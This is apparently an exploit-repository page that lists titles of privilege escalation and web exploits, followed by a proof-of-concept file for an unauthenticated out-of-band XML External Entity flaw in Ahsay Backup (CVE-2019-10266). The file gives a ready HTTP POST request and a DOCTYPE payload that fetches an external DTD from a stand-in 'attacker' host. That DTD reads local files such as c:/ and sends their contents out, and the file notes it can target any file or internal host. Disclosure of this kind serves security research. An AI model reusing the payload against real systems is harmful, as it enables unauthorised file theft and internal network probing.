6f49190671
19 changes to exploits/shellcodes pdfresurrect 0.15 - Buffer Overflow Linux Kernel 4.8.0-41-generic (Ubuntu) - Packet Socket Privilege Escalation Linux Kernel 4.8.0-41-generic (Ubuntu) - Packet Socket Local Privilege Escalation Serv-U FTP Server < 15.1.7 - Local Privilege Escalation Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (1) Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (cron Method) Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (dbus Method) Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (ldpreload Method) Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (polkit Method) Linux Kernel 4.8.0-34 < 4.8.0-45 (Ubuntu / Linux Mint) - Packet Socket Local Privilege Escalation Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation VMware Workstation/Player < 12.5.5 - Local Privilege Escalation S-nail < 14.8.16 - Local Privilege Escalation Deepin Linux 15 - 'lastore-daemon' Local Privilege Escalation Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2) ASAN/SUID - Local Privilege Escalation Microsoft Windows 7 build 7601 (x86) - Local Privilege Escalation Ovidentia 8.4.3 - SQL Injection Moodle Filepicker 3.5.2 - Server Side Request Forgery Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution (Metasploit) Ahsay Backup 7.x - 8.1.1.50 - XML External Entity Injection
28 lines
No EOL
1,020 B
Text
28 lines
No EOL
1,020 B
Text
# Unauthenticated XML External Entity (XXE) in Ahsay Backup v7.x - v8.1.0.50.
|
|
# Date: 26-6-2019
|
|
# Exploit Author: Wietse Boonstra
|
|
# Vendor Homepage: https://ahsay.com
|
|
# Software Link: http://ahsay-dn.ahsay.com/v8/81050/cbs-win.exe
|
|
# Version: 7.x < 8.1.0.50
|
|
# Tested on: Windows / Linux
|
|
# CVE : CVE-2019-10266
|
|
|
|
#Ahsay is vulnerable to a OOB Unauthenticated XML External Entity
|
|
#More info https://www.wbsec.nl/ahsay/#CVE-2019-10263
|
|
|
|
Sending the following POST request will trigger the XXE:
|
|
|
|
POST /obs/obm8/user/setUserProfile HTTP/1.1
|
|
Content-Type: application/octet-stream
|
|
Content-Length: 126
|
|
Host: 172.16.238.213:80
|
|
|
|
<?xml version="1.0"?>
|
|
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker/oob"> %remote;%intern; %trick;]>
|
|
|
|
On http://attacker/oob add the following content:
|
|
|
|
<!ENTITY % payl SYSTEM "file:///c:/"><!ENTITY % intern "<!ENTITY %
|
|
trick SYSTEM 'file://:%payl;/%payl;'>">
|
|
|
|
Here it is possible to change file:///c:/ to any directory/file or internal host. |